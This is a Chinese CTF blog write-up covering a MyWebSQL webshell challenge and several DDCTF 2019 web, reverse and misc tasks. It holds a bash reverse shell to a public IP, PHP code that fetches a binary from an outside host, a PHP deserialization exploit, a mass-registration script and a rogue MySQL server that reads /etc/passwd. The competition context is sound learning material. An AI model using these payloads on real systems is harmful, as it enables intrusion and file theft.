raw = '2df8eb51146a1a1c4193ff638cb259dda08188c0d1731b37d2c519df6e77470f9a99c359b51d8afc8175126c3cab2ef1'
raw = raw.decode('hex')

plain = 'I will send you the ticket tomorrow afternoon'
target = 'I will send you the ticket tomorrow morning'


def pad(msg):
    pad_length = 16 - len(msg) % 16
    return msg + chr(pad_length) * pad_length

plain = pad(plain)
target = pad(target)
print plain, target

new = raw[:-12]+strxor(strxor(raw[-12:], 'afternoon'+chr(3)*3), 'morning'+chr(5)*5)
print new.encode('hex')

- Read More -
CTF

前言

其实这道题不难,但是坑比较多在此,所以还是记录一下

第一步

首先题目环境给了一个sql的管理平台(MyWebSql),类似于phpmyadmin,弱口令探测发现admin,admin。首先
show variables like "%secure%"

图片.png
很明显发现并没有任意目录写文件的权利,然后由于我们不是root用户不能开启日志,通过日志文件写文件的方法也走不通。这个时候只能想到这种数据库管理应用自带的功能下手,查阅资料发现一篇
https://github.com/eddietcc/CVEnotes/tree/master/MyWebSQL/RCE
提到了Mywebsql后台提供了一个数据库备份的功能,备份目录在web目录下,且文件名可控,只要我们新建一个数据表,内容填写一句话木马内容,即可获取一个webshell
图片.png
图片.png
由于我用的是system的webshell,不是很方便,于是我想通过bash反弹到我的公网vps上,但是直接输入?cmd=bash的反弹shell不得行,于是我绕了个弯

http://34.92.36.201:10080/backups/evoa1.php?cmd=echo%20%27bash%20-i%20%3E%26%20%2fdev%2ftcp%2f47.106.65.216%2f1002%200%3E%261%27%20%3E%20%2fvar%2fwww%2fhtml%2fbackups%2fevoa.sh
http://34.92.36.201:10080/backups/evoa1.php?cmd=bash /var/www/html/backups/evoa.sh

图片.png
这里查看更目录发现两个文件,一个/flag 一个/readflag
/flag我们没有权限去读,/readflag需要回答一个运算式,是一个交互式应用,回答时间很短但回答正确就会输出flag

这里有个小技巧,我们bash反弹过来的shell不是交互式的,所以不能直接运行交互式应用
图片.png
这个时候可以用python的

python -c 'import pty; pty.spawn("/bin/bash")'

直接把shell变成一个半交互式的shell,就可以调用一些交互式程序,比如su
但是目标环境把python删了,于是可以用另一个方法

script /dev/null

这个也可以升级成交互式shell,/dev/null代表把日志输出到空,否者会留下文件
图片.png
回答给的时间特别短,于是我们把/readflag移到本地让bin选手去逆向分析了
分析出来就是如果输入的等于问题的答案就给你flag,但是时间很都短,必须写脚本算


一开始我觉得这有点像pwn题,于是准备上传一个socat把这个应用绑定到端口让pwn选手用pwntools来做
但是目标没有curl,没有wget,于是我只能用php来下载文件

php -r "file_put_contents('/tmp/socat',file_get_contents('http://xx.xxx.xxx.xxx/socat'));"

结果上传成功以后发现目标机是docker,端口无法弹到公网,这条路失败。于是只能把脚本上传到目标机,让目标机运行脚本获取flag
由于目标机没有python,有perl环境但是不会写,于是只能通过php来调用交互式程序来做题
从来没有用php掉交互式程序,还是查询资料
https://www.php.net/manual/zh/function.proc-open.php
通过proc_open调用交互式程序,并且通过读写输入输出流来进行交互,这里有个坑就是第一次调用输出流不能使用stream_get_contents,否者第二次输出输出流就会为空读不到flag,不知道为什么,这里贴一下我的exp(pwn师傅调的)

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes 现在看起来是这样的:
    // 0 => 可以向子进程标准输入写入的句柄
    // 1 => 可以从子进程标准输出读取的句柄
    // 错误输出将被追加到文件 /tmp/error-output.txt

    //fwrite($pipes[0], '');
    //fclose($pipes[0]);

        $output1 = fread($pipes[1],1024);
        var_dump($output);
        $output2 = fread($pipes[1],1024);
        var_dump($output);
        $output3 = fread($pipes[1],1024);
        var_dump($output);
    
    $calc = trim($output2);
    $an = eval("return $calc;");
    var_dump($an);
    fwrite($pipes[0], (string)$an."\n");

    $output = stream_get_contents($pipes[1]);
    var_dump($output);


    // 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

vps上的文件注意后缀,如果有php环境并且后缀为php这里得到的就是解析后的数据,文件内容为空。

图片.png

- Read More -
CTF

Web

滴~

这是一道脑洞题。。。
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
后面的字符串,可以两次base64解码,一次url解码
图片.png
应该是文件包含,写了个转换的小脚本

import binascii
import base64
filename = input().encode(encoding='utf-8')

hexstr = binascii.b2a_hex(filename)

base1 = base64.b64encode(hexstr)

base2 = base64.b64encode(base1)

print(base2.decode())

一开始我读的是php://filter/read=convert.base64-encode/resource=index.php,但是没有任何返回,于是我直接读了index.php,发现图片data的协议存在数据,复制图片链接base64解码

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

这道题是有一个原题的,https://www.jianshu.com/p/6a64e8767f8f
从原题可以知道这里是绕不过代码层面的,但是原题读取的是.idea文件夹,本题没有,然后这就是这道题最脑洞的地方,上面得CSDN的博客url是有作用的,并且第四行的日期和博文发布的时间不是对应的,需要去作者文章下这个日期的文章https://blog.csdn.net/FengBanLiuYun/article/details/80913909
在这篇文章里讲了vim的临时文件,并且文章提到了.practice.txt.swp这个文件,然后我试了半天swp,swo.swn,最后发现只要把前面的.去掉,访问http://117.51.150.246/practice.txt.swp
题目返回f1ag!ddctf.php,由于源码中会把config替换为!于是访问f1agconfigddctf.php编码形式再解码即可拿f1ag!ddctf.php源码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}
?>

变量覆盖+php伪协议,?k=php://input&uid=1 post数据传1
图片.png

WEB 签到题

考点是反序列化
直接访问提示没有访问权限,查看源代码,查看发起的网络请求发现了一个接口
图片.png
发现一个ddctf_username的header头,改为admin访问这个接口
图片.png
返回了一个文件名,访问返回了两个新文件的源代码




url:app/Application.php

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
?>



url:app/Session.php


<?php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration            = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain                = '';
    var $cookie_secure                = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();
?>

代码逻辑大概是自己写了个客户端session,如果符合一定标准则会反序列化请求的客户端session,Application的类的__destruct方法存在文件读取,传入的是path变量,111行存在反序列化操作,所以path变量可控,结合即可任意文件读取。但是要进行反序列化操作必须过107层的MD5判断,但是$this->eancrykey不知,118行和121行可以通过格式化字符串读取$this->eancrykey,$_POST["nickname"]传%s,这样第一次格式化%s还是被格式化为%s,第二次%s替换为$this->eancrykey
图片.png拿到了$this->eancrykey,我们就可以伪造任意客户端cookie,然后构造序列化字符串
需要注意的是,我们伪造的path变量必须为18为长度,并且代码会把../替换为空,注释提示flag文件在同一目录,猜测为../config/flag.txt
所以构造path为 ..././config/flag.txt,刚好替换后为flag地址,并且长度为18
exp:

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
    }
    
}
$class = unserialize(urldecode("a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22a266d530ea78089fca551da75c2713a4%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22222.18.127.50%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A73%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%3B+rv%3A56.0%29+Gecko%2F20100101+Firefox%2F56.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D0d90002f458ae1d96eb1dffdc081c822"));
$app = new Application();
$secret = "EzblrbNS";
$app->path = "..././config/flag.txt";
array_push($class,$app);
var_dump(md5($secret.serialize($class)));
var_dump(urlencode(serialize($class)));

先将服务端返回的cookie反序列化,然后往数组添加一个伪造的Application类,控制path参数,然后通过$this->eancrykey构造签名
图片.png

homebrew event loop

这道题蛮有意思的,差点一血,被师傅抢先了一丢丢

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'


from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f88147e857'

def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored
    
def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack
    
class RollBackException: pass

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp
    
@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html

def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':
    
        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'
            
        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()
        
        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
    
def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume
    
def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'
    
def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')
    
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

主要问题是46行,eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#arg3这样注释后面语句并调用任意函数并通过分割为列表,分号后面的#为传入参数列表
于是可以调用trigger_event函数,并且该函数参数可以为列表,调用trigger_event传入参数,可以发现传入参数依旧为函数名,并且会被传入事件列表之后被执行,相当于我们可以执行多个函数,首先执行buy_handler(5),再执行get_flag_handler(),就可以绕过session['num_items'] >= 5的判断,然后flag会被传递到trigger_event函数并且被写入session['log'],要注意执行buy_handler函数后事件列表末尾会加入consume_point_function函数,在最后执行此函数时校验会失败,抛出RollBackException()异常,但是不会影响session的返回(做题时以为异常不会返回session想了好久)。然后再用p师傅的脚本解密session即可拿flag
exp:
图片.png

图片.png

Upload-IMG

访问后可以上传图片,一开始上传会题目会提示需要包含phpinfo()字符串,但是加入字符串后上传依旧提示未包含,下载下上传后的图片,hex查看发现经过了php-gd库渲染,我们加入的字符串在渲染的时候被删除。上网搜索的时候发现了一个工具
https://wiki.ioin.in/soft/detail/1q
可以用这个工具生成可以GD渲染处理后,依然能保留字符串的jpg,在py源码中把字符串改为phpinfo(),然后生成。但是一直失败,后面在这篇文章发现其实要看脸
https://paper.seebug.org/387/#2-php-gdwebshell
图片.png
疯狂找图片,找了快100张了,然后在我用我博客的一张背景图的时候终于成功了
图片.png

欢迎报名DDCTF

太脑洞了,太脑洞了,太脑洞了
一直以为是sql,直道xss打到bot....
读源码读到一个接口
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=
测了半天注入还是没东西,mmp,结果被一堆人做出来后重新看,注意到返回头GBK
然后宽字节注入。。。。

SQL加tamper都可以跑
常规操作,注库名,表名,字段名(TCL)做的时候想的太复杂了

图片.png

大吉大利,今晚吃鸡~

cookie发现是go的框架,买东西回想起了护网杯的溢出,可以参考这篇文章
https://evoa.me/index.php/archives/4/
溢出了一下午,最后特别脑洞发现要用Go的无符号32位整形来溢出,42949672961,购买成功,然后返回了一个id和token,然后可以开始通过输入id和token淘汰选手,但是返回回来的id和token是自己的,并不能自己淘汰自己
图片.png
图片.png
这个时候突然脑洞大开,注册小号,购买入场券,然后淘汰小号的id和token发现成功
然后批量注册小号批量买入场券批量拿id和token给大号淘汰
我的脚本:

import requests
import time
for i in range(0,1000):
    print(i)
    url1 = "http://117.51.147.155:5050/ctf/api/register?name=evoa0{0}&password=xxxxxxxxxxxx".format(str(i))
    url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=42949672961"
    url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="
    url4 = "http://117.51.147.155:5050/ctf/api/remove_robot?ticket={0}&id={1}"
    rep1 = requests.get(url1)

    cook1name = rep1.cookies["user_name"]
    cook1sess = rep1.cookies["REVEL_SESSION"]
    urlcookies={"user_name":cook1name,"REVEL_SESSION":cook1sess}

    rep2 = requests.get(url2,cookies=urlcookies)
    billid = rep2.json()['data'][0]["bill_id"]

    rep3 = requests.get(url3+billid,cookies=urlcookies)
    userid = rep3.json()['data'][0]["your_id"]
    userticket = rep3.json()['data'][0]["your_ticket"]
    time.sleep(1)
    rep4 = requests.get(url4.format(userticket,str(userid)),cookies={"user_name":"evoA002","REVEL_SESSION":"675dc6a259890db618c598e0cd9f9802"})
    print(url4.format(userticket,str(userid)))
    with open("chicken.txt","a") as txt:
        txt.write(str(userid) + ":" +userticket)
        txt.write("\n")

但是每次注册的小号不一定能成功,而且淘汰到后期id和token重复率会很高效率会很低,看脸了,滴滴会限制访问频率所以脚本sleep了一秒,但我还用了vps来帮忙跑所以还是比较快的,差不多半个小时不到就吃鸡了
图片.png

mysql弱口令

一看到题目描述就想到了mysql服务端伪造
https://xz.aliyun.com/t/3277
然后网上找了个py脚本来伪造
https://www.cnblogs.com/apossin/p/10127496.html

#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

题目首先会给你一个agent.py,看源码知道这是一个验证服务端有没有运行mysql进程的文件,agent.py会使用8213端口,调用netstat -plnt命令查看进程和端口并返回给http请求,题目服务器先会请求你的vps上8123端口来验证是否开启mysql进程,所以直接把输出改为mysql的进程就可以绕过
result = [{'local_address':"0.0.0.0:3306","Process_name":"1234/mysqld"}]
运行上面的py就可以读文件了,题目表单输入的是你的vps地址和mysql端口
图片.png
然后疯狂读文件,读了一下午啥都没有,读数据库文件发现只有字段和表名没有flag,后面想到有个/root/.mysql_history文件,尝试读取
图片.png
就出flag了
不过这个好像是非预期解,正解应该是读取idb文件。而且读取了一下.bash_history和.viminfo文件还有新的收获,这个题目服务器上还运行着吃鸡的题目环境,还可以读取吃鸡的题目源码,flag高高的挂在里面。。

RE

RE1

upx壳,手动跟到解壳
搜索ascii找到关键函数

图片.png

图片.png
具体原理就是输入的每个字符的ascii码和一个加上一个内存地址,然后取内存地址的值,替换,对比,相当于一个表的替换,然后会和reverseME对比,所以输入的数据替换后如果等于reverseME就是flag
我是一个个对着找的。。。。
图片.png
脚本

a = [0x5A,0x5A,0x5B,0x4A,0x58,0x23,0x2C,0x39,0x28,0x39,0x2C,0x2B,0x39,0x51,0x59,0x21]
for i in a:
    print(chr(i),end="")

DDCTF{ZZ[JX#,9(9,+9QY!}

RE2

aspack壳,网上找到了脱壳机,OD+IDA分析,大概逻辑就是你输入的必须是偶数个字符,然后每两个字符ascii组成一个字符,这些字符进行一个base64编码,如果等于reverse+就是flag
我一开始以为是魔改base。。然后逆了一下午的base算法,结果后面发现tm就是正常的base64算法,不说了,太难受了
我的爆破脚本

import string
def base(a1,a2,a3):
    res = ""
    x1 = a1 >> 2;
    x2 = (a2 >> 4) + 16 * (a1 & 3);
    x3 = (a3 >> 6) + 4 * (a2 & 0xF);
    x4 = a3 & 0x3F;
    arr = [x1,x2,x3,x4]
    for i in range(4):

        c = basetab[arr[i]] ^ 0x76
        res += chr(c)
    return res
basetab = [0x37, 0x34, 0x35, 0x32, 0x33, 0x30, 0x31, 0x3E, 0x3F, 0x3C, 0x3D, 0x3A, 0x3B, 0x38, 0x39, 0x26,
        0x27, 0x24, 0x25, 0x22, 0x23, 0x20, 0x21, 0x2E, 0x2F, 0x2C, 0x17, 0x14, 0x15, 0x12, 0x13, 0x10,
        0x11, 0x1E, 0x1F, 0x1C, 0x1D, 0x1A, 0x1B, 0x18, 0x19, 0x06, 0x07, 0x04, 0x05, 0x02, 0x03, 0x00,
        0x01, 0x0E, 0x0F, 0x0C, 0x46, 0x47, 0x44, 0x45, 0x42, 0x43, 0x40, 0x41, 0x4E, 0x4F, 0x5D, 0x59]

for i in range(128,256):
    for j in range(1,256):
        for k in range(1,256):
            a1 = ord(chr(i))
            a2 = ord(chr(j))
            a3 = ord(chr(k))
            res = base(a1,a2,a3)
            # print(res)
            if(res == "reve"):
                print(a1,a2,a3,end="")

for i in range(128,256):
    for j in range(1,256):
        for k in range(1,256):
            a1 = ord(chr(i))
            a2 = ord(chr(j))
            a3 = ord(chr(k))
            res = base(a1,a2,a3)
            # print(res)
            if(res == "rse+"):
                print(a1,a2,a3,end="")
a = [173,235,222,174,199,190]

for i in a:
    print(hex(i)[2:].upper(),end="")

DDCTF{ADEBDEAEC7BE}

RE3

这道题一开始觉得mac逆向蛮难的,但看了以后还是觉得蛮有意思的

object-c写的,将文件里的xia0Crackme拖入ida64分析,直接定位关键部分
图片.png
此处可理解为一个表,这一部分会在后面sub_100001e50里调用
图片.png
(a1+24)最开始指向byte_100001980的第五个数的地址,随后执行while,当*(a1+24)=0xf3时跳出循环。
进入while下的函数:

图片.png

if ( *(a1 + 24) == (16LL * v3 + a1 + 32)
)执行后会根据v3的的值调用sub_100001F60内部的函数。
进行第一次循环时,(a1+24)的值为0xf0,此时(16LL v3 + a1 + 32)处(此时v3=0)值也为0xf0,即可执行下面的函数调用。第一次调用fun1,改函数会值改变*(a1+24)。然后继续执行while ( (a1 + 24) != 0xF3 )处的循环。每一次执行while循环最终都会调用不同的函数改变(a1+24)所指向的值,在fun5处会对a1赋值,然后在fun9处根据a1的值进行处理生成秘钥。

while (
(a1 + 24) != 0xF3 )执行完毕后,生成的秘钥为helloYouGotTheFlag,再加上DDCTF{}即为flag

MISC

签到题

公告里面有

北京地铁

太脑洞了,一开始用ctf常用隐写binwalk,高度,foremost,Stegsolve,
RGB通道看到一串字符串

图片.png
以为base,算了半天,后面看hint才知道是AES,但是没有秘钥,提示看图。。。发现

图片.png
魏公村颜色深一点,然后神脑洞就来了
图片.png
暴打出题人

MulTzor

HCTF原题,mult代表_multiply_,zor代表xor,就是重复异或,还好当时做过,直接拿出当时的脚本跑
python xortool -x -c 20 c.txt
DDCTF{07b1b46d1db28843d1fd76889fea9b36}

Wireshark

太脑洞了,追踪每个http流,分离出两张图片(准确应该是三张,有两张看上去一样)

第一张图片png改高度发现一个key,(图片被我删了,不想重新做了,就不放图了)
第二个图片试了半天binwalk,foremost,通道,盲水印啥都没有,后面仔细看http协议发现一个图片加密网站,把第二个图片和第一个图片的key放进去就能得到flag

联盟决策大会

现学维基百科,大概明白了原理为两点确定一条直线,三点确定一个二此曲线,四点确定一个三次曲线,所以就可以秘钥分权,至少满足几个秘钥就可以恢复密文。但是此题需要防止单个组织6个人一起恢复秘钥,而不经过组织2同意,所以需要继续分秘钥,此题有点脑洞,p也是一个秘钥,大概是明文加密为p和一个密文a,a分为两个密文a1,a2,
a1,a2在分别分为3个密文b1,b2,b3,c1,c2,c3
分别对应组织及组织成员
逆回去解密即可,维基百科最后面有解密的py脚本,但是有个很脑洞的点是p,p的x坐标题目没给出,并且其他点的x的坐标也只能过成员几组织几来猜,实际上p的x坐标是1,a的x坐标是0。这是坑了我好久,因为我以为p和a的x坐标还是1或2,我还试了两个密文做+-*/^&|运算
结果想到前面的杂(脑)项(洞)题试了试0,1果然就出来了
python写的太乱了,就给最后出flag的exp把

from __future__ import division
from __future__ import print_function

import random
import functools
import binascii


_PRIME = int("C53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7",16)

_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
    '''evaluates polynomial (coefficient tuple) at x, used to generate a
    shamir pool in make_random_shares below.
    '''
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum

def make_random_shares(minimum, shares, prime=_PRIME):
    '''
    Generates a random shamir pool, returns the secret and the share
    points.
    '''
    if minimum > shares:
        raise ValueError("pool secret would be irrecoverable")
    poly = [_RINT(prime) for i in range(minimum)]
    points = [(i, _eval_at(poly, i, prime))
              for i in range(1, shares + 1)]
    return poly[0], points

def _extended_gcd(a, b):
    '''
    division in integers modulus p means finding the inverse of the
    denominator modulo p and then multiplying the numerator by this
    inverse (Note: inverse of A is B such that A*B % p == 1) this can
    be computed via extended Euclidean algorithm
    http://en.wikipedia.org/wiki/Modular_multiplicative_inverse#Computation
    '''
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    '''compute num / den modulo prime p

    To explain what this means, the return value will be such that
    the following is true: den * _divmod(num, den, p) % p == num
    '''
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    '''
    Find the y-value for the given x, given n (x, y) points;
    k points will define a polynomial of up to kth order
    '''
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
